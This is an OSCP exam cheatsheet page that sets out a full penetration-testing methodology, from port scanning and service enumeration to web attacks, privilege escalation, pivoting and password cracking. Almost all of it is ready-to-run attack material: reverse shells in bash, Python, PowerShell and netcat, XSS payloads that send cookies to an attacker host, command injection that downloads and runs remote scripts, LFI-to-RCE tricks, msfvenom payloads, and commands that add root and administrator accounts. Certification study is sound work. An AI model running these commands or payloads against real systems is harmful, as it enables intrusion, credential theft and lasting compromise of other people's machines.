OSCP Logo
OSCP Exam 23h45 Practical 70 Points Required

OSCP Exam Cheatsheet

Complete methodology from scanning to domain admin

AD Set = 40pts
3 Standalones = 60pts
2hrs per machine max

OSCP Attack Methodology

Scan Ports Enum Services Find Vulns Get Shell Privesc Loot

💡 If you're stuck, you haven't enumerated enough! Go back and dig deeper.

Exam Methodology

Time Management

  • • Max 2 hours per machine before moving on
  • • Start with easiest standalone for quick points
  • • Document as you go - don't defer!
  • • Take screenshots of EVERY step
  • • Save proof.txt AND local.txt

Proof Collection

  • • type proof.txt (Windows)
  • • cat proof.txt (Linux)
  • • Include whoami output
  • • Include ipconfig/ifconfig
  • • Screenshot the full terminal
Linux Proof Collection
echo -e '\n'HOSTNAME: && hostname && echo -e '\n'WHOAMI: && whoami && echo -e '\n'PROOF: && cat proof.txt && echo -e '\n'IFCONFIG: && /sbin/ifconfig
Windows Proof Collection
hostname && whoami.exe && type proof.txt && ipconfig /all

Network Scanning

Initial Enumeration

Quick TCP port scan (run first!)
sudo nmap -p- --min-rate=1000 -T4 $ip -oN ports.txt
Detailed scan on discovered ports
sudo nmap -p22,80,445,3389 -sCV -A $ip -oN detailed.txt
UDP scan (don't forget!)
sudo nmap -sU --top-ports=20 $ip -oN udp.txt # Common UDP: 53 (DNS), 69 (TFTP), 161 (SNMP), 500 (IKE)
AutoRecon - automated full enumeration
sudo autorecon $ip -o ./autorecon # Results in ./autorecon/[IP]/scans/
Masscan - ultra fast port discovery
sudo masscan -p1-65535,U:1-65535 --rate=1000 $ip -e tun0 > masscan.txt # Parse ports for nmap follow-up: ports=$(cat masscan.txt | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
Pro Tip: Environment Variables

Set up variables for faster workflow: export ip=10.10.10.X and export myip=$(ip addr show tun0 | grep 'inet ' | awk '{print $2}' | cut -d'/' -f1)

Service Enumeration by Port

21 FTP
22 SSH
25 SMTP
53 DNS
80/443 HTTP/S
135/445 SMB
1433 MSSQL
3389 RDP

Port 21 - FTP

FTP Enumeration
# Check anonymous login ftp $ip # User: anonymous, Pass: anonymous # Nmap scripts nmap --script ftp-anon,ftp-bounce,ftp-vsftpd-backdoor,ftp-vuln* -p 21 $ip # Download all files wget -r --no-passive ftp://anonymous:anonymous@$ip/

Port 22 - SSH

SSH Enumeration & Brute Force
# Banner grab & version nc -nv $ip 22 # Try username:username first! ssh admin@$ip # SSH with key file ssh -i id_rsa user@$ip chmod 600 id_rsa # Fix permissions if needed # Brute force (last resort) hydra -l user -P /usr/share/wordlists/rockyou.txt ssh://$ip

Port 139/445 - SMB

SMB Enumeration
# Null session enumeration (try ALL methods) nxc smb $ip -u '' -p '' --shares nxc smb $ip -u 'guest' -p '' --shares nxc smb $ip -u 'anonymous' -p '' --shares # Enumerate users via RID brute (try all auth methods!) nxc smb $ip -u '' -p '' --rid-brute nxc smb $ip -u 'anonymous' -p '' --rid-brute nxc smb $ip -u 'guest' -p '' --rid-brute # List shares smbclient -L //$ip -N smbmap -H $ip smbmap -H $ip -u anonymous -p '' smbmap -H $ip -r # Recursive listing # Connect to share smbclient //$ip/sharename -N smbclient //$ip/sharename -U 'anonymous' # RPCclient enumeration (powerful for user/group enum) rpcclient -U '' -N $ip # Inside rpcclient: # enumdomusers - List domain users # enumdomgroups - List domain groups # queryuser 0x1f4 - Get user info (RID 500 = Admin) # querygroupmem 0x200 - Group members (RID 512 = Domain Admins) # lookupnames admin - Get SID for username # Enum4linux-ng full enum enum4linux-ng -A $ip # Check for vulns (EternalBlue MS17-010, etc.) nmap --script smb-vuln* -p 139,445 $ip

Port 80/443 - HTTP/HTTPS

Web Enumeration
# Manual checks FIRST curl -I http://$ip # Headers curl http://$ip/robots.txt curl http://$ip/sitemap.xml # Directory brute force gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,asp,aspx # Feroxbuster (faster, recursive) feroxbuster -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt # Tech stack identification whatweb http://$ip # Vulnerability scan nikto -h http://$ip
Web Enum Checklist
  • ✓ Check robots.txt, sitemap.xml, .git/, .svn/
  • ✓ Look at page source for comments/hidden paths
  • ✓ Try /admin, /login, /backup, /test, /dev
  • ✓ Check for virtual hosts: gobuster vhost -u http://$ip -w subdomains.txt
  • ✓ Try default credentials (admin:admin, admin:password)

Port 161 - SNMP (UDP)

SNMP Enumeration
# Community string brute force onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt $ip # Walk SNMP tree snmpwalk -v2c -c public $ip # Get system info snmp-check $ip

Port 1433 - MSSQL

MSSQL Enumeration & RCE
# Connect with impacket impacket-mssqlclient sa:password@$ip # Enable xp_cmdshell for RCE EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'whoami';

Port 3306 - MySQL

MySQL Enumeration
# Connect mysql -h $ip -u root -p # No password? Try: mysql -h $ip -u root # Useful commands SHOW databases; USE mysql; SELECT user,password FROM user;

Port 3389 - RDP

RDP Connection
xfreerdp /u:administrator /p:'password' /v:$ip /cert:ignore # Pass-the-Hash RDP xfreerdp /u:administrator /pth:NTLM_HASH /v:$ip

Port 5985 - WinRM

WinRM Access with Evil-WinRM
# With password evil-winrm -i $ip -u administrator -p 'password' # With hash (Pass-the-Hash) evil-winrm -i $ip -u administrator -H NTLM_HASH

Port 25 - SMTP

SMTP User Enumeration
# Connect and enumerate users nc -nv $ip 25 VRFY root VRFY admin EXPN admin # Automated user enumeration smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t $ip # Nmap scripts nmap --script smtp-commands,smtp-enum-users -p 25 $ip

Port 2049 - NFS

NFS Enumeration & Mount
# Show available mounts showmount -e $ip # Mount the share mkdir /mnt/nfs mount -t nfs $ip:/share /mnt/nfs # If permission denied, try with nfsvers mount -t nfs -o vers=2 $ip:/share /mnt/nfs # Create user with specific UID to access files useradd -u 1001 tempuser su tempuser

Port 5900 - VNC

VNC Connection
# Connect with vncviewer vncviewer $ip:5900 # Brute force VNC hydra -s 5900 -P /usr/share/wordlists/rockyou.txt $ip vnc # Decrypt VNC password from .vnc files vncpwd ~/.vnc/passwd

Port 6379 - Redis

Redis Enumeration & RCE
# Connect to Redis redis-cli -h $ip # Basic commands INFO CONFIG GET * KEYS * GET key_name # Write SSH key for RCE redis-cli -h $ip CONFIG SET dir /root/.ssh/ CONFIG SET dbfilename authorized_keys SET ssh_key "ssh-rsa AAAA... your_key" SAVE

Port 5432 - PostgreSQL

PostgreSQL Enumeration & RCE
# Connect psql -h $ip -U postgres # List databases and tables \l # List databases \c database # Connect to database \dt # List tables SELECT * FROM users; # Command execution (if superuser) DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;

Port 1521 - Oracle

Oracle Enumeration
# TNS Listener enum odat tnscmd -s $ip -p 1521 --version # SID enumeration odat sidguesser -s $ip -p 1521 # Brute force credentials odat passwordguesser -s $ip -p 1521 -d SID # Upload file (if RCE is possible) odat utlfile -s $ip -p 1521 -d SID -U user -P pass --putFile /tmp shell.exe ./shell.exe

Port 389/636 - LDAP

LDAP Enumeration
# Anonymous bind enumeration ldapsearch -x -H ldap://$ip -b "DC=domain,DC=local" # Get naming contexts ldapsearch -x -H ldap://$ip -s base namingcontexts # Dump all users ldapsearch -x -H ldap://$ip -b "DC=domain,DC=local" "(objectClass=user)" sAMAccountName # Authenticated enumeration ldapsearch -x -H ldap://$ip -D "user@domain.local" -w 'password' -b "DC=domain,DC=local"

Web Application Attacks

⚠️ Common Mistakes to Avoid

  • • Forgetting to URL-encode special characters in payloads
  • • Not trying both GET and POST parameters
  • • Missing cookie/session-based injection points
  • • Not checking User-Agent, Referer, X-Forwarded-For headers
  • • Giving up too early - try multiple comment styles: --, #, /**/

Local File Inclusion (LFI)

LFI Payloads
# Basic traversal ?page=../../../etc/passwd ?page=....//....//....//etc/passwd # Null byte (older PHP) ?page=../../../etc/passwd%00 # PHP filter (read source code) ?page=php://filter/convert.base64-encode/resource=index.php # Windows paths ?page=C:\windows\system32\drivers\etc\hosts ?page=..\..\..\..\windows\system32\drivers\etc\hosts
LFI to RCE Techniques
# 1. Log Poisoning (Apache/Nginx) # Inject PHP into User-Agent, then include log file curl -A "<?php system(\$_GET['c']); ?>" http://$ip ?page=../../../var/log/apache2/access.log&c=id # 2. /proc/self/environ (if readable) # Inject PHP into User-Agent header ?page=/proc/self/environ # 3. PHP session files # Set session value with PHP code, then include session file ?page=/tmp/sess_[SESSION_ID] ?page=/var/lib/php/sessions/sess_[SESSION_ID] # 4. PHP Wrappers for RCE ?page=data://text/plain,<?php system('id'); ?> ?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id # 5. expect:// wrapper (if enabled) ?page=expect://id
LFI Files to Check

Linux:

  • • /etc/passwd, /etc/shadow
  • • /home/user/.ssh/id_rsa
  • • /var/log/apache2/access.log
  • • /proc/self/environ

Windows:

  • • C:\Windows\System32\config\SAM
  • • C:\inetpub\logs\LogFiles\
  • • C:\Users\Administrator\.ssh\id_rsa
  • • C:\xampp\apache\logs\access.log

SQL Injection

SQLi Testing
# Test payloads ' OR '1'='1 ' OR '1'='1' -- ' OR '1'='1' # admin'-- # Union-based enumeration ' ORDER BY 1-- - ' UNION SELECT NULL,NULL,NULL-- - ' UNION SELECT 1,2,3-- - # Extract data ' UNION SELECT table_name,NULL FROM information_schema.tables-- - ' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'-- - ' UNION SELECT username,password FROM users-- -
SQLMap automation
# From request file (save from Burp) sqlmap -r request.txt --dbs --batch # Direct URL sqlmap -u "http://$ip/page.php?id=1" --dbs # Dump specific table sqlmap -r request.txt -D dbname -T users --dump # OS Shell (if possible) sqlmap -r request.txt --os-shell
Ghauri (SQLMap Alternative - OSCP Friendly)
# Ghauri - Advanced SQL injection tool (great for WAF bypass) ghauri -u "http://$ip/page.php?id=1" --dbs # From request file ghauri -r request.txt --dbs --batch # Dump table ghauri -r request.txt -D dbname -T users --dump # Time-based blind injection ghauri -u "http://$ip/page.php?id=1" --technique T --dbs # Specific parameter testing ghauri -u "http://$ip/page.php?id=1&name=test" -p id --dbs
Blind & Time-Based SQLi (Manual)
# Boolean-based blind ' AND 1=1-- - # True condition ' AND 1=2-- - # False condition ' AND SUBSTRING(username,1,1)='a'-- - # Time-based blind ' AND SLEEP(5)-- - ' AND IF(1=1,SLEEP(5),0)-- - '; WAITFOR DELAY '0:0:5'-- - # MSSQL # Extract data character by character ' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)-- - ' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>97,SLEEP(5),0)-- -

WordPress

WordPress Enumeration & Exploitation
# Enumerate users, plugins, themes wpscan --url http://$ip -e u,ap,at # Brute force login wpscan --url http://$ip -U admin -P /usr/share/wordlists/rockyou.txt # Reverse shell via theme editor # 1. Login to /wp-admin # 2. Appearance → Theme Editor → 404.php # 3. Replace with php-reverse-shell.php # 4. Visit: /wp-content/themes/THEME/404.php

File Upload Bypass

File Upload Bypass Techniques
# Extension variations shell.php.jpg shell.pHp shell.php5 shell.phtml # Add GIF header GIF89a; <?php system($_GET['cmd']); ?> # Double extension shell.jpg.php # Content-Type manipulation (in Burp) Content-Type: image/jpeg

Cross-Site Scripting (XSS)

XSS Payloads
# Basic payloads <script>alert('XSS')</script> <img src=x onerror=alert('XSS')> <svg onload=alert('XSS')> # Cookie stealing (set up nc -lvnp 80) <script>new Image().src="http://$attacker/steal?c="+document.cookie</script> <img src=x onerror="fetch('http://$attacker/?c='+document.cookie)"> # Filter bypass payloads <ScRiPt>alert('XSS')</ScRiPt> <script/>alert('XSS')</script> <img src="x" onerror="alert('XSS')"> <body onload=alert('XSS')> # Polyglot payload (test multiple contexts) jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcLiCk=alert() )//

XML External Entity (XXE)

XXE Payloads
# Basic XXE - Read /etc/passwd <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root> # PHP filter (base64 encode to avoid parsing issues) <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]> # Windows XXE <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///c:/windows/system32/drivers/etc/hosts"> ]> # Blind XXE with OOB exfiltration <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://$attacker/malicious.dtd"> %xxe; ]>

Command Injection

Command Injection Payloads
# Basic command injection operators ; whoami | whoami || whoami & whoami && whoami `whoami` $(whoami) # Newline injection %0a whoami %0d%0a whoami # Reverse shell via command injection ; bash -c 'bash -i >& /dev/tcp/$attacker/443 0>&1' | nc $attacker 443 -e /bin/bash # Blind command injection (check with sleep or curl) ; sleep 10 | curl http://$attacker/$(whoami) # Windows command injection & whoami | powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://$attacker/shell.ps1')"

Server-Side Request Forgery (SSRF)

SSRF Payloads
# Basic SSRF - Internal port scanning http://127.0.0.1:22 http://localhost:80 http://[::1]:80 # Cloud metadata endpoints (AWS/GCP/Azure) http://169.254.169.254/latest/meta-data/ http://metadata.google.internal/computeMetadata/v1/ http://169.254.169.254/metadata/instance # Internal network scanning http://192.168.1.1 http://10.0.0.1 http://172.16.0.1 # Protocol smuggling file:///etc/passwd dict://127.0.0.1:11211/stat gopher://127.0.0.1:25/xHELO%20localhost # Bypass filters http://0x7f000001/ # 127.0.0.1 in hex http://0177.0.0.1/ # Octal http://127.1/ # Shortened http://[::ffff:127.0.0.1]/ # IPv6

Linux Privilege Escalation

Automated enumeration
# LinPEAS (run first!) curl http://$myip/linpeas.sh | bash # Or download and run wget http://$myip/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh
Quick manual checks
# Check sudo permissions sudo -l # Find SUID binaries find / -perm -4000 -type f 2>/dev/null # Check crontabs cat /etc/crontab ls -la /etc/cron* # Check capabilities getcap -r / 2>/dev/null # Writable files find / -writable -type f 2>/dev/null | grep -v proc # Check /etc/passwd writable ls -la /etc/passwd
Common exploits
# Add user to /etc/passwd (if writable) echo 'hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:root:/root:/bin/bash' >> /etc/passwd # Password: hacker # Python capability exploit /usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' # Kernel version check uname -a cat /etc/issue
GTFOBins is Your Friend

Found a SUID binary or sudo permission? Check GTFOBins immediately for exploitation methods!

Windows Privilege Escalation

Automated enumeration
# WinPEAS .\winpeasx64.exe # PowerUp . .\PowerUp.ps1 Invoke-AllChecks
Quick manual checks
# Check privileges whoami /priv # System info for kernel exploits systeminfo # Unquoted service paths wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" # Saved credentials cmdkey /list # Search for passwords findstr /si password *.txt *.ini *.config
SeImpersonatePrivilege (Potato attacks)
# If SeImpersonatePrivilege enabled: # PrintSpoofer (Windows 10/Server 2016+) .\PrintSpoofer64.exe -i -c cmd # GodPotato (newest, most reliable) .\GodPotato.exe -cmd "nc.exe -e cmd.exe $myip 443" # JuicyPotato (older systems) .\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {CLSID}
Add admin user (if you can)
net user hacker Password123! /add net localgroup Administrators hacker /add net localgroup "Remote Desktop Users" hacker /add

Reverse Shells

Start listener
nc -lvnp 443 # Or with rlwrap for better shell rlwrap nc -lvnp 443
Linux Reverse Shells
# Bash bash -i >& /dev/tcp/$myip/443 0>&1 # Bash (URL encoded for web) bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F$myip%2F443%200%3E%261%27 # Netcat rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $myip 443 >/tmp/f # Python python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$myip",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Windows Reverse Shells
# PowerShell (Base64 encode for best results) powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('$myip',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" # Netcat nc.exe -e cmd.exe $myip 443
Upgrade shell to full TTY
# On target python3 -c 'import pty; pty.spawn("/bin/bash")' Ctrl+Z # On attacker stty raw -echo; fg # On target export TERM=xterm stty rows 40 cols 150
Alternative Shell Stabilization
# Method 1: Python (most common) python -c 'import pty; pty.spawn("/bin/bash")' python3 -c 'import pty; pty.spawn("/bin/bash")' # Method 2: script command script /dev/null -c bash # Method 3: Expect /usr/bin/script -qc /bin/bash /dev/null # Method 4: Perl perl -e 'exec "/bin/sh";' # Method 5: Ruby ruby -e 'exec "/bin/sh"' # Method 6: socat (if available) # On attacker: socat file:`tty`,raw,echo=0 tcp-listen:4444 # On target: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$myip:4444
Fix path and useful settings
# Export path for common tools export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin # Set shell and history export SHELL=/bin/bash export HISTFILE=/dev/null # Get terminal size from attacker stty size # Run on attacker first stty rows 38 cols 116 # Then set on target
MSFVenom Payloads
# Windows exe msfvenom -p windows/x64/shell_reverse_tcp LHOST=$myip LPORT=443 -f exe -o shell.exe # Linux elf msfvenom -p linux/x64/shell_reverse_tcp LHOST=$myip LPORT=443 -f elf -o shell # PHP msfvenom -p php/reverse_php LHOST=$myip LPORT=443 -f raw > shell.php # ASPX msfvenom -p windows/x64/shell_reverse_tcp LHOST=$myip LPORT=443 -f aspx -o shell.aspx

File Transfers

Hosting Files (Attacker)

Start file server
# Python HTTP server python3 -m http.server 80 # SMB server (for Windows targets) impacket-smbserver share . -smb2support

Linux Downloads

Download to Linux target
wget http://$myip/file curl http://$myip/file -o file # If wget/curl unavailable nc -lvnp 443 > file # On attacker nc $myip 443 < file # On target

Windows Downloads

Download to Windows target
# PowerShell iwr -uri http://$myip/file.exe -outfile file.exe # Certutil certutil.exe -urlcache -split -f http://$myip/file.exe file.exe # SMB (no download needed!) copy \\$myip\share\file.exe C:\Temp\file.exe # Or run directly \\$myip\share\file.exe

Pivoting & Port Forwarding

Chisel (recommended for OSCP)
# On attacker (server) ./chisel server --reverse -p 8888 # On target (client) - SOCKS proxy ./chisel client $myip:8888 R:socks # Then use proxychains proxychains nmap -sT -Pn 10.10.10.X
SSH Tunneling
# Local port forward (access remote port locally) ssh -L 8080:127.0.0.1:80 user@$ip # Dynamic SOCKS proxy ssh -D 1080 user@$ip # Remote port forward ssh -R 8888:127.0.0.1:445 kali@$myip

Password Attacks

0 MD5
100 SHA1
500 md5crypt
1000 NTLM
1800 sha512crypt ($6$)
3200 bcrypt
13100 Kerberoast
18200 AS-REP Roast
Hash Cracking
# Identify hash type hashid '$hash' # Common hashcat modes hashcat -m 0 hash.txt rockyou.txt # MD5 hashcat -m 1000 hash.txt rockyou.txt # NTLM hashcat -m 1800 hash.txt rockyou.txt # sha512crypt hashcat -m 13100 hash.txt rockyou.txt # Kerberoast hashcat -m 18200 hash.txt rockyou.txt # AS-REP # John for zip/ssh/pdf zip2john file.zip > hash.txt john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Online Brute Force
# SSH hydra -l user -P rockyou.txt ssh://$ip # HTTP POST form hydra -l admin -P rockyou.txt $ip http-post-form "/login:user=^USER^&pass=^PASS^:Invalid" # FTP hydra -l user -P rockyou.txt ftp://$ip

OSCP Exam Day Checklist